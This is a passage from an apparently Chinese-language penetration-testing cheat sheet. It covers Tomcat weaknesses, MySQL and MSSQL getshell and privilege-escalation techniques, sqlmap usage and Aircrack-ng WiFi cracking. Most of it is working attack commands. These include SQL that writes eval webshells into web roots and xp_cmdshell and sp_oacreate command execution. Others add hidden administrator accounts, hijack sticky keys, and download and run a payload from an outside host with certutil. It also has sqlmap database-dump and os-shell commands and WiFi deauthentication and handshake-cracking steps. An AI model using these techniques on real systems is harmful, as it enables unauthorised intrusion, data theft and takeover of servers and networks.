2. tomcat-user.xml文件中进行账号密码的配置
3. 功能和manager下面的差不多

2. manager管理页面

1. 最常见的,基本tomcat默认都有
2. 默认没有设置登录口令,需要tomcat-user.xml文件中进行账号密码的配置
3. 登录使用的Basic认证方式(请求头里面的Authorization为base64编码,可以用burp爆破)
4. Tomcat manager包含4个不同的角色:
- manager-gui:允许访问html页面接口(即URL路径为/manager/html/*)
- manager-script:允许访问纯文本接口(即URL路径为/manager/text/*)
- manager-jmx:允许访问JMX代理接口(即URL路径为/manager/jmxproxy/*)
- manager-status:允许访问Tomcat只读状态页面(即URL路径为/manager/status/*)
5. 部署war包拿shell

3. AJP协议

1. 比较鸡肋
2. 目前爆出的可直接利用的就是CVE-2020-1938(AJP文件包含漏洞)

4. debug模式

1. 默认不开启
2. 调试端口8000,指纹jdwp
3. 低版本的jdk中会存在漏洞,可以通过jdwp来执行系统命令

5. CVE-2016-8735反序列化

1. 条件:配置JMX做监控时使用了JmxRemoteLifecycleListener
2. ysoserial来进行漏洞攻击利用

6. CVE-2017-12615 & CVE-2017-12616 put文件上传

1. 范围7.0.0 – 7.0.79
2. 条件:手动将web.xml中的readonly设置为false
3. 利用构造put上传shell,返回201为成功

7. CVE-2019-0232命令注入

1. 该漏洞的利用条件较为苛刻,需同时满足下列条件:

1. 系统为Windows
2. 启用了CGI Servlet(默认为关闭)
3. 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)

影响范围:

```
9.0.0.M1-9.0.17
8.5.0-8.5.39
7.0.0-7.0.93
```

8. CVE-2020-1938 AJP缺陷

1. 文件读取,代码执行

2. 范围

```
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
```

## 数据库安全

### mysql渗透总结

#### 一、sqlshell获取

要利用mysql首先得拿到一个可以执行sql的mysql才能利用,下面就说一下几种常见姿势,欢迎补充。

1、弱口令

这个比较简单,网上工具很多如美杜莎,九头蛇这些比较知名的,msf也有相应的模块。我自己之前也写过一个。要是运气好的话直接跑到弱口令就直接进去,当然也可以配合社工字典来跑这样成功率更高。

2、文件读取漏洞

需要挖一个任意文件读取漏洞,然后利用读网站的配置文件,里面存放着数据库账号密码。

3、信息泄露

扫目录扫网站备份文件,或者git泄露

4、sql注入

这个不用多说,要是权限够大直接sqlmap os-shell一把梭

5、身份认证绕过漏洞(CVE-2012-2122)

受影响版本:

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.

MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。

在msf里面有模块,可以直接用auxiliary/scanner/mysql/mysql_authbypass_hashdump来跑

当数据库不能外连可以通过以下方法开放外连(注意防火墙):

可以修改`host`为`%`并刷新权限后,默认root等账号不允许远程连接

```
use mysql;
update user set host = '%' where user = 'root';
FLUSH PRIVILEGES ;
select host, user from user;
```

#### 二、mysql拿shell

##### 1、用命令直接导出shell

原理:利用导出命令来导出shell。

条件:

1. 需要知道网站的物理路径(绝对路径)

通过程序报错,日志泄露,phpinfo,php探针等方式可以获取到物理路径。

2.允许导出

先查看是否允许导入导出

```
show variables like '%secure%'

```

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下,此时如果读写发生在其他文件夹,就会报告如下错误:

```
RROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

```

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

如果条件都满足的话,就可以开始了

outfile

```
select '' into outfile '/var/www/xx.php';

```

dumpfile

```
select '' into dumpfile '/var/www/xx.php';

```

注意:outfile函数可以导出多行,而dumpfile只能导出一行数据outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

借助表导出。

```
Drop TABLE IF EXISTS temp;
Create TABLE temp(cmd text NOT NULL);
Insert INTO temp (cmd) VALUES('');
Select cmd from temp into out file '/var/www/xx.php';
Drop TABLE IF EXISTS temp;

```

也可以用mysql 的 -e 参数

```
mysql -u user -p passwd -e "select '' into outfile '/var/www/xxx.php'"
```

##### 2、利用general_log拿shell

如果导入导出被禁用了就可以用这个方法试试。

原理:利用修改日志文件路径,往日志文件写入一句话。

条件:

1.对应web目录有写权限

2.需要有物理路径

3.如果拿到的是注入,还需要能执行堆叠注入

4.root用户,或者有对应权限的用户

利用如下:开启日志,更改路径,把一句话写入日志文件。

```
set global general_log=on;
set global general_log_file='/var/www/1.php';
select '';
```

**3.写加密马**

把冰蝎,哥斯拉的马儿进行base64编码,然后写一个普通的abb.php就访问abb.php会在当前路径生成abab.php

```
select '' into outfile 'C:/wamp/www/abb.php';
```

#### 三、任意文件读取

既然有文件导出,肯定也有文件导入。关于任意文件读取怎么用,我之前总结过。

条件:和导出shell的条件一样。

利用:先创建一张表,读取文件内容到表。

```
create table a (v text);
load data infile 'file_name' into table table_name fields terminated by '分隔符'

```

例如读text.txt:

```
load data infile 'C:/phpstudy/MySQL/test.txt' into table a fields terminated by ',';
```

查看内容

```
SELECT * FROM a
```

#### 四、mysql提权

先推荐一个小工具https://github.com/T3st0r-Git/HackMySQL

**1、mof提权**

原理:

利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。

条件:

1、mof提权的前提是root用户

2、可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下

利用:

网上工具也很多,可以直接用msf的exploit/windows/mysql/mysql_mof模块,执行成功后会直接反弹meterpreter。

**2、udf提权**

原理:

UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

条件:

1、系统是Windows(Win2000,XP,Win2003);有一个mysql数据库的账户拥有insert和delete权限,以创建和抛弃函数。

2、Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

3、Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\

system32。

4、拥有相应目录的写权限

注意:一般Lib、Plugin文件夹需要手工建立(也可用NTFS ADS流模式突破进而创建文件夹)

```
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\\ProgramFiles\\\MySQL\\\MySQL Server 5.1\\\lib::$INDEX\_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\\ProgramFiles\\\MySQL\\\MySQL Server 5.1\\\lib\\\plugin::$INDEX\_ALLOCATION'; //利用NTFS ADS创建plugin目录
```

利用:

直接用msf的use exploit/multi/mysql/mysql_udf_payload模块.

msf会将dll文件写入lib\plugin\目录下(前提是该目录存在,如果该目录不存在的话,则无法执行成功),dll文件名为**随机生成**的名字(记下来后面手动创建需要用到)。该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。

手动创建sys_eval()

```
create function sys_eval returns string soname 'SGJECYG.dll';
```

执行手动创建的函数

```
select sys_eval('whoami');
```

检查有没有创建成功

```
select * from mysql.func where name = 'sys_eval';
```

删除函数

```
drop function sys_eval;
```

**3、启动项提权**

原理:本质还是用导出命令来实现,导出脚本到启动目录,服务器重启就执行脚本。

条件:上面说过了。

利用:

写个vbs到启动目录,想办法让服务器重启。

```
1,开始菜单当前用户启动文件夹--C:\\Users\\用户名\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup
2,开始菜单所有用户启动文件夹--C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp
3,注册表当前用户开机启动项目录--HKEY\_CURRENT\_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
4,注册表所有用户开机启动项目录--HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
```

写脚本

```
create table a (cmd text);//创建表
insert into a values ("set wshshell=createobject(""wscript.shell"") " );//写数据到表
insert into a values ("a=wshshell.run(""cmd.exe /c net user aabbcc 123456 /add"",0) " );
insert into a values ("b=wshshell.run(""cmd.exe /c net localgroup administrators aabbcc/add"",0) " );
select * from a into outfile "C:\\\Documents andSettings\\\All Users\\\「开始」菜单\\\程序\\\启动\\\a.vbs";//导出vbs
```

msf下也有对应模块exploit/windows/mysql/mysql_start_up

#### 五、拓展

其他常用msf模块

exploit/windows/mysql/scrutinizer_upload_exec(上传文件执行)

auxiliary/scanner/mysql/mysql_hashdump(mysql的mysql.user表的hash)

auxiliary/admin/mysql/mysql_sql(执行sql语句,navicat更香)

auxiliary/scanner/mysql/mysql_version(识别版本)

#### 六、参考

https://xz.aliyun.com/t/3973

https://xz.aliyun.com/t/1491

https://blog.csdn.net/qq_37077262/article/details/102964050

http://www.safe6.cn/article/108

https://blog.csdn.net/qq_36119192/article/details/84863268

https://www.freebuf.com/articles/system/163144.html

### mssql渗透总结

膜拜大佬文章https://y4er.com/post/mssql-getshel

#### getshell

能否getshell要看你当前的用户权限,如果是没有进行降权的sa用户,那么你几乎可以做任何事。当然你如果有其他具有do_owner权限的用户也可以。

拿shell的两大前提就是

1. 有相应的权限db_owner
2. 知道web目录的绝对路径

我们先来了解下怎么去寻找web目录的绝对路径。

##### 寻找绝对路径

1. 报错信息
2. 字典猜
3. 旁站的目录
4. 存储过程来搜索
5. 读配置文件

前三种方法都是比较常见的方法。我们主要来讲第四种调用存储过程来搜索。

在mssql中有两个存储过程可以帮我们来找绝对路径:`xp_cmdshell xp_dirtree`

先来看`xp_dirtree`直接举例子

```mssql
execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件
```

当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中

```mssql
CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
```

我们再来看`xp_cmdshell`怎么去找绝对路径,实际上原理就是调用cmd来查找文件,相对来说这种方法更方便。

当然你可能遇到xp_cmdshell不能调用 如果报错

> SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用。

可以用如下命令恢复

```
;EXEC sp_configure 'show advanced options',1;//允许修改高级参数
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展
RECONFIGURE;--
```

当然还不行可能xplog70.dll需要恢复,看具体情况来解决吧

接下来我们先来看cmd中怎么查找文件。

```
C:\Users\Y4er>for /r e:\ %i in (1*.php) do @echo %i
e:\code\php\1.php
C:\Users\Y4er>
```

那么我们只需要建立一个表 存在一个char字段就可以了

```mssql
http://192.168.130.137/1.aspx?id=1;CREATE TABLE cmdtmp (dir varchar(8000));

http://192.168.130.137/1.aspx?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'
```

然后通过注入去查询该表就可以了。

------

此时我们拿到绝对路径之后,我们接着往下看怎么拿shell

##### xp_cmdshell拿shell

xp_cmdshell这个存储过程可以用来执行cmd命令,那么我们可以通过cmd的echo命令来写入shell,当然前提是你知道web目录的绝对路径

```mssql
http://192.168.130.137/1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;
```

由于cmd写webshell的主意这些转义的问题 推荐使用certutil或者vbs什么的来下载

##### 差异备份拿shell

```mssql
1. backup database 库名 to disk = 'c:\bak.bak';--

2. create table [dbo].[test] ([cmd] [image]);

3. insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

4. backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--
```

因为权限的问题,最好不要备份到盘符根目录

当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。

##### log备份拿shell

LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式

```mssql
1. alter database 库名 set RECOVERY FULL

2. create table cmd (a image)

3. backup log 库名 to disk = 'c:\xxx' with init

4. insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)

5. backup log 库名 to disk = 'c:\xxx\2.asp'
```

log备份的好处就是备份出来的webshell的文件大小非常的小

#### getsystem

我们继续来探究怎么进行提权

##### xp_cmdshell

在2005中xp_cmdshell的权限是system,2008中是network。

当遇到无法写shell,或者是站库分离的时候,直接通过xp_cmdshell来下载我们的payload来上线会更加方便。下载文件通常有下面几种姿势

1. certutil
2. vbs
3. bitsadmin
4. powershell
5. ftp

这个我会放在下一篇文章中细讲。

通过下载文件之后用xp_cmdshell来执行我们的payload,通过Cobalt Strike来进行下一步操作,比如怼exp或许会更加方便。

##### sp_oacreate

当xp_cmdshell 被删除可以使用这个来提权试试,恢复sp_oacreate

```
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
```

sp_oacreate是一个非常危险的存储过程可以删除、复制、移动文件 还能配合sp_oamethod 来写文件执行cmd

在以前的系统有这几种用法

1. 调用cmd 来执行命令

```
wscript.shell执行命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c xxx'

Shell.Application执行命令
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
```

1. 写入启动项

```
declare @sp_passwordxieo int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';
```

1. 粘贴键替换

```
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
```

大家可以灵活运用,这里也可以这样玩,把他写成vbs或者其他的来下载文件 ,为什么不直接调用cmd来下载,再2008系统上我是不成功的,但是sp_oacreate可以启动这个文件,所以换个思路

```
declare @sp_passwordxieo int, @f int, @t int, @ret int;
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out;
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'c:\www\1.bat', 1;
exec @ret = sp_oamethod @f, 'writeline', NULL,'@echo off';
exec @ret = sp_oamethod @f, 'writeline', NULL,'start cmd /k "cd c:\www & certutil -urlcache -split -f http://192.168.130.142:80/download/file.exe"';

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\www\1.bat'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\www\file.exe'
```

当然这里只是一种思路,你完全可以用vbs来下载什么的

##### 沙盒提权

```mssql
1. exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

2. exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

3. Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Databasec:\windows\system32\ias\ias.mdb','select shell( net user itpro gmasfm /add )');
```

引用前辈们的话

> 1,Access可以调用VBS的函数,以System权限执行任意命令
> 2,Access执行这个命令是有条件的,需要一个开关被打开
> 3,这个开关在注册表里
> 4,SA是有权限写注册表的
> 5,用SA写注册表的权限打开那个开关
> 6,调用Access里的执行命令方法,以system权限执行任意命令执行SQL命令,执行了以下命令

##### xp_regwrite

修改注册表 来劫持粘贴键 当然在2008数据库是不成立的 因为默认权限很低

```
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';
```

mssql众多的储存过程是我们利用的关键,还有很多可能没被提出,需要自己的发现,比如在遇到iis6的拿不了shell还有个上传可以跳目录,不妨试试xp_create_subdir建立个畸形目录解析。

## **工具使用**

### sqlmap

参考:https://blog.csdn.net/qq_33530840/article/details/82144515

#### **sqlmap详细命令参数**

- –is-dba 当前用户权限(是否为root权限)
- –dbs 所有数据库
- –current-db 网站当前数据库
- –users 所有数据库用户
- –current-user 当前数据库用户
- –random-agent 构造随机user-agent
- –passwords 数据库密码
- –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
- –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

——————————————————————————————————

**Options(选项):**

- –version 显示程序的版本号并退出
- -h, –help 显示此帮助消息并退出
- -v VERBOSE 详细级别:0-6(默认为1)
- 保存进度继续跑:

sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度
sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢复已保存进度

**Target(目标):**

以下至少需要设置其中一个选项,设置目标URL。

- -d DIRECT 直接连接到数据库。
- -u URL, –url=URL 目标URL。
- -l LIST 从Burp或WebScarab代理的日志中解析目标。
- -r REQUESTFILE 从一个文件中载入HTTP请求。
- -g GOOGLEDORK 处理Google dork的结果作为目标URL。
- -c CONFIGFILE 从INI配置文件中加载选项。

**Request(请求):**

这些选项可以用来指定如何连接到目标URL。

- –data=DATA 通过POST发送的数据字符串
- –cookie=COOKIE HTTP Cookie头
- –cookie-urlencode URL 编码生成的cookie注入
- –drop-set-cookie 忽略响应的Set – Cookie头信息
- –user-agent=AGENT 指定 HTTP User – Agent头
- –random-agent 使用随机选定的HTTP User – Agent头
- –referer=REFERER 指定 HTTP Referer头
- –headers=HEADERS 换行分开,加入其他的HTTP头
- –auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
- –auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
- –auth-cert=ACERT HTTP认证证书(key_file,cert_file)
- –proxy=PROXY 使用HTTP代理连接到目标URL
- –proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
- –ignore-proxy 忽略系统默认的HTTP代理
- –delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
- –timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
- –retries=RETRIES 连接超时后重新连接的时间(默认3)
- –scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
- –safe-url=SAFURL 在测试过程中经常访问的url地址
- –safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL

**Enumeration(枚举):**

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
您自己的SQL语句。

- -b, –banner 检索数据库管理系统的标识
- –current-user 检索数据库管理系统当前用户
- –current-db 检索数据库管理系统当前数据库
- –is-dba 检测DBMS当前用户是否DBA
- –users 枚举数据库管理系统用户
- –passwords 枚举数据库管理系统用户密码哈希
- –privileges 枚举数据库管理系统用户的权限
- –roles 枚举数据库管理系统用户的角色
- –dbs 枚举数据库管理系统数据库
- -D DBname 要进行枚举的指定数据库名
- -T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
- –tables 枚举的DBMS数据库中的表
- –columns 枚举DBMS数据库表列
- –dump 转储数据库管理系统的数据库中的表项
- –dump-all 转储所有的DBMS数据库表中的条目
- –search 搜索列(S),表(S)和/或数据库名称(S)
- -C COL 要进行枚举的数据库列
- -U USER 用来进行枚举的数据库用户
- –exclude-sysdbs 枚举表时排除系统数据库
- –start=LIMITSTART 第一个查询输出进入检索
- –stop=LIMITSTOP 最后查询的输出进入检索
- –first=FIRSTCHAR 第一个查询输出字的字符检索
- –last=LASTCHAR 最后查询的输出字字符检索
- –sql-query=QUERY 要执行的SQL语句
- –sql-shell 提示交互式SQL的shell

**Optimization(优化):**

这些选项可用于优化SqlMap的性能。

- -o 开启所有优化开关
- –predict-output 预测常见的查询输出
- –keep-alive 使用持久的HTTP(S)连接
- –null-connection 从没有实际的HTTP响应体中检索页面长度
- –threads=THREADS 最大的HTTP(S)请求并发量(默认为1)

**Injection(注入):**

这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。

- -p TESTPARAMETER 可测试的参数(S)
- –dbms=DBMS 强制后端的DBMS为此值
- –os=OS 强制后端的DBMS操作系统为这个值
- –prefix=PREFIX 注入payload字符串前缀
- –suffix=SUFFIX 注入payload字符串后缀
- –tamper=TAMPER 使用给定的脚本(S)篡改注入数据

**Detection(检测):**

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

- –level=LEVEL 执行测试的等级(1-5,默认为1)
- –risk=RISK 执行测试的风险(0-3,默认为1)
- –string=STRING 查询时有效时在页面匹配字符串
- –regexp=REGEXP 查询时有效时在页面匹配正则表达式
- –text-only 仅基于在文本内容比较网页

**Techniques(技巧):**

这些选项可用于调整具体的SQL注入测试。

- –technique=TECH SQL注入技术测试(默认BEUST)
- –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
- –union-cols=UCOLS 定列范围用于测试UNION查询注入
- –union-char=UCHAR 用于暴力猜解列数的字符

**Fingerprint(指纹):**

- -f, –fingerprint 执行检查广泛的DBMS版本指纹

**Brute force(蛮力):**

这些选项可以被用来运行蛮力检查。

- –common-tables 检查存在共同表
- –common-columns 检查存在共同列

User-defined function injection(用户自定义函数注入):
这些选项可以用来创建用户自定义函数。

–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径

**File system access(访问文件系统):**

这些选项可以被用来访问后端数据库管理系统的底层文件系统。

- –file-read=RFILE 从后端的数据库管理系统文件系统读取文件
- –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
- –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

**Operating system access(操作系统访问):**

这些选项可以用于访问后端数据库管理系统的底层操作系统。

- –os-cmd=OSCMD 执行操作系统命令
- –os-shell 交互式的操作系统的shell
- –os-pwn 获取一个OOB shell,meterpreter或VNC
- –os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
- –os-bof 存储过程缓冲区溢出利用
- –priv-esc 数据库进程用户权限提升
- –msf-path=MSFPATH Metasploit Framework本地的安装路径
- –tmp-path=TMPPATH 远程临时文件目录的绝对路径

**Windows注册表访问:**

这些选项可以被用来访问后端数据库管理系统Windows注册表。

- –reg-read 读一个Windows注册表项值
- –reg-add 写一个Windows注册表项值数据
- –reg-del 删除Windows注册表键值
- –reg-key=REGKEY Windows注册表键
- –reg-value=REGVAL Windows注册表项值
- –reg-data=REGDATA Windows注册表键值数据
- –reg-type=REGTYPE Windows注册表项值类型

这些选项可以用来设置一些一般的工作参数。

- -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
- -s SESSIONFILE 保存和恢复检索会话文件的所有数据
- –flush-session 刷新当前目标的会话文件
- –fresh-queries 忽略在会话文件中存储的查询结果
- –eta 显示每个输出的预计到达时间
- –update 更新SqlMap
- –save file保存选项到INI配置文件
- –batch 从不询问用户输入,使用所有默认配置。

**Miscellaneous(杂项):**

- –beep 发现SQL注入时提醒
- –check-payload IDS对注入payloads的检测测试
- –cleanup SqlMap具体的UDF和表清理DBMS
- –forms 对目标URL的解析和测试形式
- –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
- –page-rank Google dork结果显示网页排名(PR)
- –parse-errors 从响应页面解析数据库管理系统的错误消息
- –replicate 复制转储的数据到一个sqlite3数据库
- –tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
- –wizard 给初级用户的简单向导界面

#### sqlmap使用

**使用代理**

可以配合代理池,我之前有发过

```
sqlmap -u “http://www.vuln.cn/post.php?id=1” --proxy “http://127.0.0.1:1080″
```

**检测注入**

```
sqlmap -u “http://www.vuln.cn/post.php?id=1”
```

**cookie注入**

只有level达到2才会检测cookie

```
sqlmap -u “http://www.vuln.cn” –cookie “id=11” --level 2
```

**数据包注入**

```
sqlmap -r “c:\tools\request.txt”
```

**post注入**

```
sqlmap -u "http://www.vuln.cn/post.php?id=1" --method POST --data "id=1"
```

**伪静态注入**

因为+号会被url编码,所以我们通常使用减号来进行判断。

```
http://www.xxxx.com/product/detail/id/3-1.html
```

注入的地方用*号

```
sqlmap.py -u www.xxxx.com/product/detail/id/3*.html --dbms=mysql -v 3
```

**跑库**

--dbms指定数据库

--dbs列出全部数据库

```
sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql --dbs
```

**跑表**

-D指定数据库(test)

--tables列出该库全部表

```
sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql -D test --tables
```

**跑列名**

-T指定表(admin)

--columns列出该表全部列名

```
sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql -D test -T admin –-columns
```

**跑数据**

-C指定列名

--dump跑全部数据

--start 1 --stop 10 跑十条数据

```
sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql -D test -T admin -C “username,password” --dump
```

**判断是否是管理员**

```
sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql --is-dba
```

**sqlshell**

获取一个sqlshell,可以用来执行sql语句

```
sqlmap -u “http://www.vuln.cn/post.php?id=1” --sql-shell
```

**用search参数快速定位password列**

```
sqlmap -r “c:\tools\request.txt” –dbms mysql -D test –search -C admin,password
```

**获取shell**

条件:

**(1)网站必须是root权限**

**(2)攻击者需要知道网站的绝对路径**

**(3)GPC为off,php主动转义的功能关闭**

都能上传了,直接传一个一句话不香吗?

```
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
```

**读取与写入文件**

首先找需要网站的物理路径,其次需要有可写或可读权限。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的**本地文件** (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的**绝对路径**
\#写示例:

```
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”
```

#读示例

```
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-read="e:\www\as\config.php"
```

#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

#### Tamper使用

这里推一个工具,可以自动选择tamper

https://github.com/m4ll0k/Atlas

**使用**

先用sqlmap 跑一下注入点(需要输出使用的payload)

1. Run SQLMap:

```
$ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3
```

[![sqlmap](img/68747470733a2f2f692e696d6775722e636f6d2f5850333952717a2e706e67)](https://camo.githubusercontent.com/3f5610b30b3956708d21ae3fa8e8f4333565d4ceb1b51f2a106eeff514229f04/68747470733a2f2f692e696d6775722e636f6d2f5850333952717a2e706e67)

`Price_ASC') AND 8716=4837 AND ('yajr'='yajr` is blocked by WAF/IDS/IPS, now trying with Atlas:

拿到使用的payload,使用atlas.py来查找可用的tamper

```
$ python atlas.py --url 'http://site.com/index.php?id=Price_ASC' --payload="') AND 8716=4837 AND ('yajr'='yajr" --random-agent -v
```

[![atlas_succ](img/68747470733a2f2f692e696d6775722e636f6d2f553671456e58702e706e67)](https://camo.githubusercontent.com/ec060487c40814c93aecbe7cc7709addd789f65d9b07386f656ea85167709f94/68747470733a2f2f692e696d6775722e636f6d2f553671456e58702e706e67)

找到后,就可以直接使用(上面找到versionedkeywords)

```
$ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3 --tamper=versionedkeywords
```

### Aircrack-ng破解WIFI密码

参考https://blog.csdn.net/qq_36119192/article/details/84254622

破解无线wifi可以分为以下几步:

- 查看网卡名字:iwconfig
- 设置网卡为监听模式:airmon-ng start wlan0
- 扫描附近的WIFI:airodump-ng wlan0mon
- 选定一个路由器,并监听其流量:airodump-ng -w tplink -c 11 --bssid BC:46:99:3D:66:D6 wlan0mon
- 选定连接的一个客户端,进行攻击:aireplay-ng -0 50 -a BC:46:99:3D:66:D6 -c A0:AF:BD:D8:E6:31 wlan0mon
- 对抓取到的cap包进行暴力破解:aircrack-ng -w password.txt -b BC:46:99:3D:66:D6 tplink-01.cap

